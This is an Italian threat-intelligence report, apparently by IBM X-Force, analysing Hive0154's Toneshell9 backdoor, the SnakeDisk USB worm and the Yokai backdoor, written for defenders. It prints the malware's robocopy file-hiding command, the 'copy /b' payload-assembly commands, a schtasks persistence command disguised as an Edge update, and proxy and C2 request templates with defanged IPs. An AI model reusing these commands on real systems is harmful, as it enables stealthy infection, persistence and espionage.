Hive0154, noto anche come Mustang Panda, rilascia la backdoor aggiornata di Toneshell e il nuovo worm USB SnakeDisk

primo piano del laptop che mostra un codice blu con una linea di codice rossa verso il centro

Autori

Golo Mühr

Malware Reverse Engineer

IBM

Joshua Chung

Cyber Threat Intelligence Analyst

IBM Security

Nel luglio 2025, IBM X-Force ha scoperto un nuovo malware attribuito all'attore delle minacce cinese Hive0154. Questo include una variante aggiornata del Toneshell che evita i rilevamenti e supporta diverse nuove caratteristiche, oltre a un nuovo worm USB chiamato SnakeDisk , scoperto a metà agosto. Il worm viene eseguito solo su dispositivi con indirizzi IP basati in Thailandia e elimina la backdoor Yokai, scoperta da Netskope nel dicembre 2024.

Risultati principali

  • Per tutta la metà del 2025, X-Force ha osservato diverse varianti del malware Toneshell e Pubload in archivi weaponized, caricati principalmente da Singapore e Thailandia.
  • Una delle varianti che eludono i rilevamenti di VirusTotal è l'ultimo aggiornamento "Toneshell9". Supporta la comunicazione di comando e controllo (C2) tramite proxy configurati localmente per integrarsi nel traffico di rete aziendale e facilita due reverse shell in parallelo.
  • X-Force ha analizzato un nuovo worm USB, SnakeDisk, che viene eseguito solo su dispositivi situati in Thailandia, in base al loro indirizzo IP. Il worm mostra codici sovrapposti a Tonedisk ed è in grado di rilevare dispositivi USB nuovi e esistenti, che utilizza come mezzo di propagazione.
  • Il campione SnakeDisk analizzato rilascia la backdoor Yokai sui dispositivi infetti, creando una shell inversa che permette agli operatori di eseguire comandi arbitrari. Yokai era già stato associato a campagne contro i funzionari thailandesi nel dicembre 2024.

Background

Hive0154 è un attore delle minacce ben consolidato e allineato alla Cina, con un grande arsenale di malware, tecniche coerenti e attività ben documentate negli ultimi anni. Il gruppo è composto da più sottocluster e si impegna in attacchi informatici che prendono di mira organizzazioni pubbliche e private, tra cui think tank, gruppi politici, agenzie di governo e individui. L'osservazione di X-Force sull'uso da parte del gruppo di più malware loader personalizzati, backdoor e famiglie di worm USB dimostra le loro avanzate funzionalità. L'attività di Hive0154 si sovrappone a quella di altri attori della minaccia segnalati pubblicamente come Mustang Panda, Stately Taurus, Camaro Dragon, Twill Typhoon, Polaris ed Earth Preta.

Lo spionaggio informatico prende di mira l'Asia orientale

Per tutta la metà del 2025, X-Force ha osservato diversi archivi weaponized caricati su VirusTotal da Singapore e Thailandia:

Nome del file

DLL dannosa

server C2

Data

Informazioni per la richiesta di una sede per riunioni.zip

Loader che carica shellcode Pubload

188.208.141[.]
196:443

21 maggio

Richiesta di prenotazione alberghiera.7z

Toneshell8

146.70.29[.]
229:443

03 luglio

Cyber_Safety_
Checklist_
2025.rar

Toneshell8

146.70.29[.]
229:443

30 luglio

TNLA နှင့် အခြားတော်လှန်ရေးအင်အားစုများ.rar

(tradotto Myanmar: "TNLA e altre forze rivoluzionarie")

 Toneshell8

146.70.29[.]
229:443

30 luglio

Scansione (08-02-205) .zip

Toneshell8

146.70.29[.]
229:443

05 agosto

Note.rar

Loader che carica shellcode Pubload

188.208.141[.]
196:443

21 agosto

CallNotes.zip

Loader che carica lo shellcode Toneshell7

146.70.29[.]
229:443

4 settembre

Hive0154 è stato osservato mentre usava un nuovo loader per caricare in modo riflessivo sia Pubload che Toneshell7, oltre a implementare direttamente la variante più offuscata Toneshell8. La variante più recente di Pubload ha subito piccole modifiche e ora supporta i server C2 decoy e il download di payload shellcode tramite HTTP POST, oltre al traffico TCP raw che imita TLS.

L'archivio "CallNotes.zip" scoperto a settembre è stato scaricato da Box Cloud Storage tramite un link in un PDF esca che impersonava il Ministero degli Affari Esteri del Myanmar:

PDF contenente il link per il download dell'archivio weaponized che implementa Toneshell7
Fig. 1: PDF contenente il link per il download dell'archivio weaponized che distribuisce Toneshell7

A metà agosto, X-Force ha scoperto anche SnakeDisk, un nuovo worm USB che condivide sovrapposizioni con le precedenti varianti di Tonedisk. Il worm viene eseguito solo su dispositivi situati in Thailandia, come determinato dal loro indirizzo IP pubblico. SnakeDisk distribuisce la backdoor Yokai, che è stata pubblicamente collegata a diverse altre campagne mirate alla Thailandia da Netskope nel dicembre 2024. 

Vista la storia precedente dell'uso della backdoor Yokai contro la Thailandia, la scoperta dell'ultimo worm USB sembrava coincidere con i recenti eventi geopolitici che hanno coinvolto la Thailandia:

Tradizionalmente, la Repubblica Popolare Cinese (RPC) è stata un benefattore della Cambogia, fornendo armi e investendo miliardi in progetti infrastrutturali. Eventi geopolitici recenti potrebbero aver dato uno stimolo a Hive0154 per iniziare operazioni contro la Thailandia. La distribuzione del worm USB SnakeDisk, configurato per l'esecuzione solo sulle macchine basate in Thailandia, sembra suggerire che Hive0154 possa cercare di penetrare i sistemi air-gap, spesso impiegati nelle reti del governo.

Aggiornamenti Toneshell8 (marzo 2025)

X-Force ha osservato per la prima volta la versione 8 di Toneshell nel marzo 2025. Il comportamento è molto simile a quello della precedente versione 7, ma contiene aggiornamenti minori per eludere il rilevamento statico e ostacolare l'analisi. Il cambiamento più visibile è l'inclusione di codice spazzatura nelle funzioni del malware. Queste sezioni di codice spazzatura implementano il seguente comportamento:

  • uso delle chiamate API per scrivere file temporanei casuali ed eliminarli nuovamente;
  • copia e passaggio in loop attraverso una stringa. Le stringhe usate nei campioni iniziali sono state copiate dal sito web ChatGPT di OpenAI
  • Sonno a intervalli casuali

Questi tre esempi di codice possono essere trovati, ad esempio, nella funzione che risolve tutte le API:

Codice casuale sleep junk
Fig. 2: codice casuale sleep junk
Un frammento di codice che mostra un file casuale creato ed eliminato nel codice spazzatura
Fig. 3: file casuale creato ed eliminato in codice indesiderato
Uno snippet di codice che mostra l'inutile scansione delle stringhe nel codice spazzatura
Fig. 4: scansione inutile delle stringhe nel codice indesiderato

Gli sviluppatori di Toneshell8 hanno anche scelto di sostituire lo Pseudo Random Number Generator (PRNG) con un'implementazione personalizzata del Linear Congruential Generator (LCG) utilizzando diverse costanti, ad esempio:

DWORD __cdecl zf_update_prng(main_struct *main_struct)
{
  main_struct->prng_state = 0xBD828 * main_struct->prng_state + 0x4373A;
  return main_struct->prng_state;
}

I PRNG vengono utilizzati in Toneshell per generare un ID vittima, le chiavi di crittografia del traffico C2 e verificare l'autenticità del beacon C2. La qualità delle implementazioni nei campioni Toneshell8 varia notevolmente. Il generatore sopra, ad esempio, è utilizzato dai 4 campioni elencati sopra e produce solo 11 stati diversi per la maggior parte dei seed. 

Infine, i codici di risposta hardcoded inviati al server C2, che notificano agli operatori lo stato di alcuni comandi, sono ora offuscati calcolandoli da diversi numeri interi hardcoded nel campione. 

Toneshell9 (luglio 2025)

A luglio, X-Force ha scoperto una nuova variante di Toneshell, che chiameremo Toneshell9. Contiene aggiornamenti significativi e al momento della stesura non presenta rilevamenti su VirusTotal (318a1ebc0692d1d012d20d306d6634b196cc387b1f4bc38f97dd437f117c7e20). 

La nuova variante di Toneshell è stata osservata per la prima volta negli archivi RAR fraudolenti contenenti il software "USB Safely Remove". La struttura del codice sembra essere basata su una variante biforcata del dicembre 2024, che contiene la stessa configurazione C2.

Inizializzazione

Similmente alle varianti precedenti, Toneshell9 viene eseguito come una DLL sideloaded. L'archivio RAR weaponized contiene un file BAT, che avvia un "USBSRService.exe" eseguibile legittimo con un argomento della riga di comando "-Embedding". Una volta che la DLL di Toneshell "EasyFuncs.dll" è stata caricata in memoria e l'esportazione FS_RegActiveX è stata eseguita, inizia risolvendo una prima serie di API necessarie per l'inizializzazione. Dopo aver analizzato l'argomento "-Embedding" a linea di comando, Toneshell avvia il suo file eseguibile principale in un nuovo processo con l'argomento "EvtSys". Quest'ultimo argomento attiva il comportamento principale della DLL dannosa. 

Toneshell inizia inizializzando un nuovo oggetto client che contiene i seguenti valori:

struct TONESHELL_CLIENT
{
  BYTE is_connected;
  HANDLE heartbeat_thread;
  C2_CLIENT *p_c2_client;
  DWORD unused_C;
  VICTIM_DATA *p_victim_data;
  DWORD unused_14;
  QWORD tick_count;
};

Successivamente risolve il resto delle sue API necessarie tramite una funzione di hashing personalizzata e memorizza i puntatori di funzione in una struttura separata. Successivamente, crea un nuovo evento "Windows External Module" che funge da mutex per impedire che più istanze vengano eseguite sulla stessa macchina. 

Toneshell9 è disseminato di numerose sezioni di codice spazzatura, che recupera il numero corrente di tick della CPU, memorizza il risultato come stringa e lo dealloca nuovamente. 

snippet di codice indesiderato di Toneshell9 all'interno della logica di risoluzione API
Fig. 5: codice indesiderato di Toneshell9 all'interno della logica di risoluzione API

Per gestire e memorizzare le comunicazioni C2, i server proxy, i beacon e i payload in memoria, Toneshell istanzia un grande oggetto da 129 KB:

struct C2_CLIENT
{
  std::vector<std::string> c2_list;
  SOCKADDR_IN c2_sockaddr_array[16];
  int current_c2_sockaddr_index;
  int number_of_c2s;
  BYTE key[768];
  SOCKET ptr_socket;
  DWORD beacon_tls_header;
  BYTE beacon_payload_buffer[65536];
  BYTE c2_response_buffer[65536];
  DWORD size_of_c2_response;
  BYTE critical_section[24];
  std::list<proxy_entry> proxy_list;
  int proxy_enabled;
  int current_c2_string_index;
};

A differenza delle varianti precedenti, Toneshell9 enumera gli hive del registro HKEY_LOCAL_MACHINE, HKEY_CURRENT_USER e HKEY_USERS\\.DEFAULT per cercare server proxy configurati localmente. 

snippet di codice che mostra Toneshell9 che analizza i server proxy dal registro di Windows
Fig. 6: Toneshell9 che analizza i server proxy dal registro di Windows

Se viene trovato un server, sia il protocollo dell'URL(http, https, ftp o socks) che l'URL completo vengono memorizzati come stringhe in un elenco di oggetti. 

Successivamente, Toneshell memorizza il suo dominio server C2 e l'indirizzo IP in un vettore di stringhe. Lo stesso IP e porta hardcoded sono direttamente memorizzati in un array di strutture SOCKADDR_IN. Il malware esegue quindi il loop tra le stringhe del server C2, risolvendo l'indirizzo IP di ciascuna di esse e aggiungendolo allo stesso array di strutture SOCKADDR_IN.

snippet di codice che mostra Toneshell mentre risolve e memorizza gli indirizzi server C2
Fig. 7: toneshell che risolve e memorizza gli indirizzi dei server C2

Come osservato nelle varianti precedenti, Toneshell procede a rilasciare un file contenente un GUID vittima casuale di 16 byte generato tramite la funzione _rand() di Windows:

C:\ProgramData\ProgrammaticallyCpp.inc

Il GUID viene inoltre memorizzato in una struttura insieme al percorso del file e al nome NetBIOS della vittima. 

struct VICTIM_DATA
{
  BYTE victim_guid[16];
  BYTE computername[24];
  BYTE guid_path[24];
};

I dati sopra sono utilizzati per costruire un oggetto beacon in memoria. In particolare, Toneshell9 esegue calcoli sulla differenza nel numero di tick della CPU prima e dopo il comportamento principale di inizializzazione descritto sopra. Questo valore è normalizzato e probabilmente utilizzato per rilevare anomalie nei tempi di esecuzione che potrebbero indicare un'esecuzione o un debug ritardato nel sandbox. 

struct BEACON_DATA
{
  BYTE key[768];   
  BYTE code_byte;       // set to 0x02
  BYTE victim_guid[16];
  BYTE computername[80];
  DWORD tick_delta;
};

 La chiave XOR da 0x300 byte viene generata tramite _rand() e utilizzata per crittografare i 101 byte di dati, a partire dall'offset 0x300. I dati di cui sopra sono contenuti in un falso pacchetto di applicazione TLS 1.2 del seguente formato:

struct BEACON
{
  BYTE tls_header[3];       // 17 03 03
  WORD payload_size;        // 0x0365 (big-endian)
  BYTE payload_data[869];  
};

Comunicazione C2 e proxy HTTP

Durante il ciclo principale, Toneshell9 esegue una funzione per stabilire una connessione socket al suo server C2. Inizia cercando di collegarsi tramite la prima struttura SOCKADDR_IN. Se questo fallisce, il malware cerca di impostare una connessione socket tramite uno qualsiasi dei server proxy raccolti dal registro. Questo viene tentato per ciascuna delle stringhe di indirizzi C2, cioè l'indirizzo IP e il dominio per il campione analizzato sopra. 

Dopo aver risolto l'indirizzo del server proxy e essersi connesso tramite un socket TCP, imposta innanzitutto i timeout di invio e ricezione su 1 minuto. Successivamente, invia la seguente richiesta di connessione: 

CONNECT <C2 server>:<C2 port> HTTP/1.0
Host: <C2 server>:<C2 port>
Content-Length: 0
Proxy-Connection: Keep-Alive
Pragma: no-cache

Se il server proxy restituisce un codice di stato 2xx, la connessione è stata stabilita correttamente ed è pronta per il tunneling TCP raw. Per verificare la connessione con il suo server C2, Toneshell9 utilizza un protocollo di handshake breve, trasmettendo anche l'IP e la porta del server nel processo. Se l'handshake ha successo, l'handle del socket viene memorizzato nella struct C2_CONNECTION e i timeout del socket vengono impostati a 2 minuti. Toneshell invia quindi il primo beacon pubblicitario attraverso il socket. 

Si aspetta una risposta simile dal suo server, che, a parte i primi 5 byte, è criptato tramite la chiave XOR precedentemente trasmessa:

struct C2_RESPONSE
{
    BYTE tls_header[3];     // 17 03 03
    WORD payload_size;      // big-endian
    BYTE command_code;
    BYTE shell_id;
    BYTE data[];
}

Utilizzando un proxy già configurato su un dispositivo infetto, Toneshell può mimetizzarsi efficacemente con altri traffici di rete. Gli ambienti aziendali più grandi spesso applicano il filtraggio in uscita, consentendo il traffico solo attraverso gateway attendibili, che bloccherebbero la comunicazione C2 diretta. La funzionalità aggiuntiva di Toneshell per aggirare questo filtraggio gli consente di operare in ambienti di rete ben protetti.

Reverse shell

Ricevendo la prima risposta C2, Toneshell avvia un nuovo thread che invia beacon di risposta simili a quelli del battito cardiaco ogni 30 secondi, con il codice di risposta 0x1 e un valore shell_id casuale. I beacon di risposta hanno un formato molto simile:

struct BEACON_CMD_RESPONSE
{
    BYTE tls_header[3];     // 17 03 03
    WORD payload_size;      // big-endian
    BYTE response_code;
    BYTE shell_id;
    BYTE data[];
}

Toneshell9 supporta i seguenti codici di comando:

Codice

Descrizione

2

Ignora questo beacon e attendi il successivo da gestire.

3

Crea una nuova reverse shell e assegnala a shell_id.

4

Scrivi una stringa di comandi nella reverse shell identificata dalla shell_id

5

Chiudi la reverse shell identificata dalla shell_id

Similmente alle varianti precedenti, una reverse shell viene impostata utilizzando pipe anonime collegate agli handle stdin e stdout di un nuovo processo cmd.exe. Toneshell9 supporta due reverse shell attive in parallelo e utilizza la struttura seguente per gestire una connessione shell:

struct REVERSE_SHELL
{
  int shell_id;
  BYTE cmd_path[24];
  HANDLE hReadPipe1;
  HANDLE hWritePipe1;
  HANDLE hReadPipe2;
  HANDLE hWritePipe2;
  DWORD hThread_cmd;
  DWORD hProcess_cmd;
  DWORD parent_pid;
  BYTE cmd_process_created;
  DWORD hThread_pipe_to_c2;
};

Per ogni reverse shell, viene creato un nuovo thread per verificare regolarmente la presenza di nuovi dati dalla pipe stdout e inviarli al server C2 in un beacon con codice di risposta 0x4. Gli operatori toneshell possono scrivere dati di stringa nella pipe usando il shell_id corretto ed eseguire comandi arbitrari sulla macchina. Quando si chiude una reverse shell, anche il processo conhost.exe identificato da parent_pid viene terminato sulla macchina. 

Worm USB SnakeDisk

Nell'agosto 2025, X-Force ha scoperto un worm USB precedentemente sconosciuto, attribuito a Hive0154. La DLL a 32 bit veniva caricata su VirusTotal come "01.dat" dalla Thailandia e presenta caratteristiche simili a Toneshell9. Entrambi vengono eseguiti tramite caricamento laterale DLL, con tutte le esportazioni, ad eccezione di DllEntryPoint e del punto di ingresso del malware che puntano alla stessa funzione, che restituisce immediatamente il risultato. Entrambi presentano anche meccanismi di risoluzione API quasi identici, coerenti con quasi tutti i malware relativi a Toneshell. Similmente al campione Toneshell9, SnakeDisk legge anche un argomento da riga di comando per selezionare uno dei due possibili percorsi di esecuzione:

  • "-Embedding": avvia il comportamento di infezione USB prima di rilasciare ed eseguire il payload incorporato una volta rimosso un dispositivo.
  • "-hope": elimina ed esegue immediatamente il payload incorporato.

Inizializzazione

Per eseguire la funzionalità di infezione USB, SnakeDisk richiede un file di configurazione, che cerca nella directory corrente del file eseguibile principale. Tutti i file trovati in quella directory, a meno che non siano denominati "System Volume Information", verranno aggiunti a un elenco di potenziali file di configurazione. Tonedisk procede ad aprire e leggere ogni file, testando le seguenti condizioni per verificare il file prima di procedere con la decrittazione.

  • La dimensione del file è compresa tra 0x14A e 0x14000 byte.
  • I primi 4 byte sono l'hash CRC32 corretto del resto del file.

SnakeDisk procede decriptando i dati utilizzando probabilmente un algoritmo XOR bifase personalizzato e una chiave da 320 byte memorizzata in un'intestazione da 330 byte. 

snippet di codice che mostra l'algoritmo di decrittazione della configurazione basato su XOR
Fig. 8: algoritmo di decrittazione della configurazione basato su XOR

Infine, il malware analizza 18 valori di stringa che definiscono la configurazione del malware. X-Force non è riuscito a recuperare un file di configurazione; tuttavia, l'analisi di SnakeDisk ha rivelato i seguenti probabili scopi dei valori.

Campo di configurazione

Scopo

Versione

Versione del malware utilizzata per determinare se un client già infetto debba essere reinfettato con una variante aggiornata.

mutx

Stringa Mutex.

psd

Non utilizzato nel campione analizzato. Possibile equivalente locale di "usd": tutti i valori "u*" sono nomi di file/directory presenti sulla chiavetta USB dopo la weaponizzazione. 

urd

Probabilmente "USB root directory". Nome della directory creata sulla chiavetta USB che contiene le sottodirectory.

uud

Probabilmente "USB user directory". Nome della directory sotto <urd> che contiene i file originali dell'utente dalla USB.

usd

Probabilmente "USB staging directory". Nome della directory in <urd> che memorizza vari componenti dannosi di SnakeDisk.

pnex

Probabilmente "parent name executable". Nome di un file esistente nella directory corrente di SnakeDisk durante l'esecuzione.

pndl

Probabilmente "parent name DLL". Nome di un file esistente nella directory corrente di SnakeDisk durante l'esecuzione.

pnen

Probabilmente "parent name encrypted". Nome di un file esistente nella directory corrente di SnakeDisk durante l'esecuzione.

pnendl

Probabilmente "parent name encrypted DLL". Nome di un file esistente nella directory corrente di SnakeDisk durante l'esecuzione.

unex

Probabilmente "USB name executable". Nome file di un file copiato da <pnex> alla chiavetta USB.

undl

Probabilmente "USB name DLL". Nome file di un file copiato da <pndl> alla chiavetta USB.

unen

Probabilmente "USB name encrypted". Nome file di un file copiato da <pnen> alla chiavetta USB.

unendl

Probabilmente "USB name encrypted DLL". Nome file di un file copiato da <pnendl> alla chiavetta USB.

unendl_org

Nome file di un file (probabilmente DLL) copiato da <pnendl> alla directory principale della USB e nascosto tramite attributi file.

unconf

Il nome del file di configurazione di SnakeDisk è stato inserito nell'USB.

regkey

Potenzialmente è collegato a un meccanismo di persistenza del registro. Non utilizzato nel campione analizzato.

schkey

Potenzialmente si collega a un meccanismo di persistenza delle attività programmate. Non utilizzato nel campione analizzato.

Dopo aver letto correttamente il file di configurazione, SnakeDisk tenterà di confermare che è attualmente in esecuzione su un computer con sede in Thailandia. Invia una richiesta HTTP GET a http://ipinfo[.]io/json e verifica se il campo "paese" corrisponde a "THA" o "TH". Se ciò è vero, l'esecuzione continua.

GET /json HTTP/1.1
Connection: Keep-Alive
User-Agent: Program/1.0
Host: ipinfo.io

È importante notare che l'esecuzione continuerà anche se si verifica un errore durante la risoluzione delle API o durante la comunicazione di rete. 

SnakeDisk poi garantisce che venga eseguito solo in un'unica istanza tentando di aprire un mutex "Global\\<mutx config value>". Se il malware esiste già, si chiude; altrimenti, crea il mutex tramite CreateMutexW.

Rilevamento del dispositivo USB

Per infettare eventuali unità USB già collegate, SnakeDisk inizia a ripetere tutte le possibili lettere dell'unità da A a Z. Apre un handle al volume fisico, ad esempio "\\.\A:" e invia il codice di controllo IO IOCTL_STORAGE_GET_HOTPLUG_INFO (0x2D0C14) al dispositivo. Se il dispositivo è un dispositivo hotplug in base alla struttura STORAGE_HOTPLUG_INFO restituita, viene avviato un nuovo thread per infettare tale unità. 

Dopo aver esaminato tutte le lettere del disco, SnakeDisk entra in sospensione per 5 secondi, poi registra una nuova classe finestra "TestClassName" e crea una finestra corrispondente "TestWindowName". Per recuperare i messaggi dal sistema operativo, la funzione crea un ciclo di messaggi Windows usando GetMessageW e invia i messaggi alla procedura finestra del malware tramite TranslateMessage e DispatchMessageW. Esce dal ciclo solo quando riceve un messaggio WM_CAP_PAL_OPEN (0x450). La classe malicious window fa riferimento a una procedura personalizzata che ascolta il messaggio WM_DEVICECHANGE (0x219), e in particolare gli eventi DBT_DEVICEARRIVAL (0x8000) e DBT_DEVICEREMOVECOMPLETE (0x8004). 

snippet di codice della funzione di callback di classe window che ascolta i messaggi WM_DEVICECHANGE
Fig. 9: funzione di callback della classe window in ascolto dei messaggi WM_DEVICECHANGE

Se un messaggio di questo tipo viene ricevuto, ad esempio, quando un dispositivo USB è collegato alla macchina infetta, la funzione utilizza il campo "dbcv_unitmask" della struttura DEV_BROADCAST_VOLUME per determinare la lettera del disco corrispondente. Per i dispositivi appena collegati, viene avviato un nuovo thread che infetta il disco. Se SnakeDisk rileva la rimozione di un dispositivo, avvia un thread per eliminare ed eseguire il suo payload incorporato, che avvia lo stesso percorso di esecuzione che avrebbe causato l'esecuzione della DLL SnakeDisk con l'argomento della riga di comando "-hope". 

Propagazione USB

Il thread per infettare un dispositivo USB rilevato inizia cercando nel disco un file di configurazione esistente per determinare se fosse già stato contaminato. Tenta di decifrare e analizzare una configurazione da qualsiasi file con estensione .dat o .cd estensione. Se viene analizzata una configurazione, il malware confronta il numero di versione del disco già infetto con la versione della propria configurazione e reinfetterà solo i dischi con versioni più vecchie di SnakeDisk. 

SnakeDisk avvia quindi un altro thread per spostare i file esistenti sull'USB in una nuova sottodirectory. Nascondendo sostanzialmente i file che l'utente si aspetta sulla sua USB, il malware aumenta la probabilità che la vittima creda che la USB non sia ancora stata aperta e clicchi accidentalmente sul file eseguibile weaponized su una nuova macchina con lo stesso nome del dispositivo. Dopo l'esecuzione, il launcher maligno copierebbe i file degli utenti per evitare qualsiasi sospetto. Il percorso contenente i dati dell'utente su un dispositivo infetto è costruito a partire dai valori di configurazione come:

<drive_letter>:\<urd>\<uud>\

Il malware può utilizzare due meccanismi diversi per l'operazione, ognuno avviato nel proprio thread. Il primo utilizza SHFIleOperationW per spostare ogni file e, durante ogni operazione, legge anche 32 byte da un file "C:\\Windows\\Tmp\\msd.log", che vengono scritti in un file "C:\\ProgramData\\app.log" prima di eliminare quest'ultimo. Lo scopo di questo comportamento non è chiaro. 

codice che mostra l'attore delle minacce che sposta i file dall'USB in una nuova directory.
Fig. 10: spostamento dei file dall'USB in una nuova directory

Mentre il thread viene eseguito, il malware controlla regolarmente il completamento per 30 secondi prima di lanciare un secondo thread. Il secondo thread utilizza robocopy per spostare i file ed esegue il seguente comando in un nuovo processo:

robocopy <drive_letter>:\ <drive_letter>:\<urd>\<uud>\ /XD
"<drive_letter>:\<urd>\" /XF "<drive_letter>:\<unendl_org>" /XF
"<drive_letter>:\<usb_volumename>.exe" /XD "System Volume Information" /E
/MOVE

Entrambi gli spostamenti di file escludono i file modificati di SnakeDisk e il file "System Volume Information", che dovrebbero rimanere nella directory principale del disco USB. Dopo aver eseguito il comando sopra, lo stesso comando viene lanciato di nuovo con due flag aggiuntivi "/IS" e "/XO", per includere gli stessi file ed escludere i file di directory sorgente più vecchi della destinazione. 

Dopo aver spostato i file già esistenti sull'USB, SnakeDisk procede a copiare i propri payload dalla sua directory corrente all'unità USB. I seguenti file, come specificato nella configurazione, vengono copiati tramite CopyFileW, ciascuno in un nuovo thread:

.\<pnex> copied to <drive_letter>:\<urd>\<usd>\<unex>
.\<pndl> copied to <drive_letter>:\<urd>\<usd>\<undl>
.\<pnen> copied to <drive_letter>:\<urd>\<usd>\<unen>
.\<pnendl> copied to <drive_letter>:\<urd>\<usd>\<unendl>
.\<pnen> copied to <drive_letter>:\<usb_volumename>.exe
.\<pnendl> copied to <drive_letter>:\<unendl_org>

Il nome del file EXE nella root dell'unità USB è impostato sul nome del volume del dispositivo USB, o semplicemente "USB.exe" se è vuoto. SnakeDisk imposta anche gli attributi SYSTEM e HIDDEN sul file copiato su ""<drive_letter>:\<unendl_org>". Anche tutte le directory sulla USB riportano questi attributi, nascondendo di fatto tutto tranne il file eseguibile. Sebbene X-Force non recuperasse gli altri file, i precedenti worm USB usavano la stessa tecnica per attirare le vittime a fare clic sul file eseguibile, che faceva sideload di una DLL per avviare l'infezione. Il nome file di questa DLL dannosa è probabilmente memorizzato nel valore di configurazione "unendl_org". Infine, SnakeDisk scrive la sua configurazione in un nuovo file sulla chiavetta USB con il nome ricavato dal valore "unconf". 

Esecuzione del payload

Il thread di SnakeDisk responsabile dell'eliminazione e dell'esecuzione del payload incorporato viene avviato quando viene rilevata la rimozione di un dispositivo USB, o all'inizio dell'esecuzione di SnakeDisk tramite l'argomento della riga di comando "-hope". 

Per prima cosa, il thread legge un file marker "vm.ini" nella sua directory e confronta il contenuto con il proprio percorso corrente. Questo file viene scritto anche dopo il rilascio e l'esecuzione dei payload e indica se una vittima è già stata infettata con il payload incorporato di SnakeDisk. Se i percorsi corrispondono, nessun payload verrà eliminato e il thread terminerà. 

Dopo il primo controllo, SnakeDisk inizia a rilasciare una serie di payload nella directory "C:\Users\Public\". Ogni file è costruito in memoria a partire da valori immediati in grandi funzioni comprese tra 0,6 e 3,3 MB.

codice che mostra la funzione scomposta che costruisce un payload binario
Fig. 11: funzione scomposta che costruisce un payload binario

I payload vengono quindi decrittografati tramite una semplice operazione di XOR prima di essere rilasciati come file tramite:

  • C:\Utenti\Pubblico\srv0
  • C:\Users\Public\srv1
  • C:\Users\Public\srv2
  • C:\Users\Public\loga
  • C:\Users\Public\logb
  • C:\Utenti\Pubblico\logc

Questi file vengono concatenati in gruppi di tre per produrre i due payload finali tramite i seguenti comandi:

cmd.exe /c cd "c:\users\public\" & copy /b "srv0"+"srv1"+"srv2"
c:\users\public\libcef.dll
cmd.exe /c cd "c:\users\public\" & copy /b "loga"+"logb"+"logc"
c:\users\public\<randomised_name>.exe

Il nome del file EXE è creato da 10 lettere maiuscole e numeri casuali. Dopo la concatenazione, i file vengono eliminati. 

Infine, il file eseguibile viene avviato in un nuovo processo con un argomento della riga di comando codificato:

c:\users\public\<randomised_name>.exe -project-mod

Non sorprende che l'EXE (bb5bb82e5caf7d4dbbe878b75b23f793a5f3c5ca6dba70d8be447e8c004d26ce) sia un eseguibile legittimo e firmato (acwebbrowser.exe) che carica lateralmente la libcef.dll malevole durante l'esecuzione. 

Backdoor Yokai

Il payload DLL è stato identificato come la backdoor Yokai, segnalata nel dicembre 2024 da Netskope. All'esecuzione, il malware verifica prima l'argomento "-project-mod" e poi stabilisce la persistenza tramite un compito programmato se l'utente non fa parte del gruppo dell'Amministratore:

cmd.exe /c schtasks /create /f /sc MINUTE /MO 5 /tn
"MicrosoftEdgeAcModuleUpdateTask" /tr "<path> -project-mod"

Prosegue creando un nuovo mutex "k1tpddvivh74fo1et725okr1c1" e inizializza una struttura di configurazione interna. La variante lasciata da SnakeDisk contiene la stringa di versione "1.0.0" e raggiunge un server C2 hardcoded tramite richieste HTTP POST:

POST /kptinfo/import/index.php HTTP/1.1
Connection: Keep-Alive
Content-Type: application/x-www-form-urlencoded
User-Agent: WinHTTP Example/1.0
API-INDEX: 0
Accept-Connect: 0
Content-Length: 156
Host: 118.174.183[.]89
<encrypted data>

Come descritto nell'analisi di Netskope, Yokai viene utilizzato per creare un reverse shell tramite pipe anonime, permettendo agli operatori di eseguire comandi arbitrari sulla macchina infetta. 

Curiosamente, Yokai mostra sovrapposizioni con altre famiglie backdoor attribuite a Hive0154, come Pubload/Pubshell e Toneshell. Sebbene queste famiglie siano chiaramente parti di malware separati, seguono approssimativamente la stessa struttura e usano tecniche simili per stabilire una shell inversa con il loro server C2.

Sovrapposizioni con Tonedisk

L'analisi X-Force ha inoltre rivelato forti sovrapposizioni tra SnakeDisk e Tonedisk. Nel corso degli anni, sono emerse diverse famiglie di worm USB associate a Hive0154. Le varianti strettamente correlate alla famiglia Toneshell nelle loro implementazioni vengono tracciate da X-Force come Tonedisk. Finora sono state identificate 3 versioni principali di Tonedisk (A, B e C). Ciascuna versione di Tonedisk è una suite di diversi componenti dannosi che costituiscono la piena funzionalità del worm USB. Questi componenti includono launcher, loader, spreader, file criptati, installer e backdoor.

SnakeDisk si sovrappone specificamente alla variante ToneDisk A, che è stata anch'essa segnalata a metà 2023 da Checkpoint come WispRider. I meccanismi di propagazione USB di entrambi i malware, l'hashing API e i file di configurazione mostrano diverse somiglianze, che si allineano con la tendenza nota dei sottocluster Hive0154 a condividere e riutilizzare malware tra di loro. 

Riconoscimenti

X-Force traccia l'attività in questo rapporto sotto il cluster generale Hive0154, che si sovrappone parzialmente ad attività pubblicate come Mustang Panda, Stately Taurus, Camaro Dragon, Twill Typhoon, Polaris, TEMP. Hex e Terra Preta. Questo gruppo sembra gestire un ecosistema di malware considerevolmente ampio, con frequenti sovrapposizioni sia nel codice dannoso, sia nelle tecniche utilizzate durante gli attacchi, sia negli obiettivi. All'interno del cluster generale più ampio, X-Force separa almeno tre sottocluster di attività con bassa fiducia, con ogni cluster associato a uno dei ceppi malware centrali PlugX, Toneshell e Pubload. In particolare, ogni ceppo di malware è associato a un diverso framework di worm USB e a una o più varianti di malware loader correlate, che cambiano più frequentemente. Lo stesso loader può essere utilizzato per payload diversi, come Toneshell o Pubload, nello stesso intervallo di tempo. Tuttavia, è importante notare che il cluster delle attività non segnala automaticamente che operano come sottogruppi separati. 

L'attività associata all'uso di SnakeDisk e della backdoor Yokai potrebbe indicare un ulteriore sottogruppo di Hive0154. Attualmente sembra essere principalmente rivolto alla Thailandia, come dimostrano i controlli di geolocalizzazione IP nei report di SnakeDisk e Netskope

Conclusione

Hive0154 rimane un attore delle minacce altamente capace, con molteplici sottocluster attivi e cicli di sviluppo frequenti. X-Force valuta con grande fiducia che gruppi allineati con la Cina come Hive0154 continueranno a perfezionare il loro vasto arsenale di malware e a prendere di mira organizzazioni pubbliche e private in tutto il mondo. Il malware discusso nel rapporto sopra è probabilmente ancora in fase di sviluppo iniziale, permettendo a chi si difende dalle minacce di adottare meccanismi di rilevamento prima del loro uso diffuso. Le entità a rischio di spionaggio Hive0154 dovrebbero rimanere in uno stato di sicurezza difensiva elevato e rimanere vigili riguardo alle tecniche menzionate in questo rapporto e rivedere le seguenti raccomandazioni:

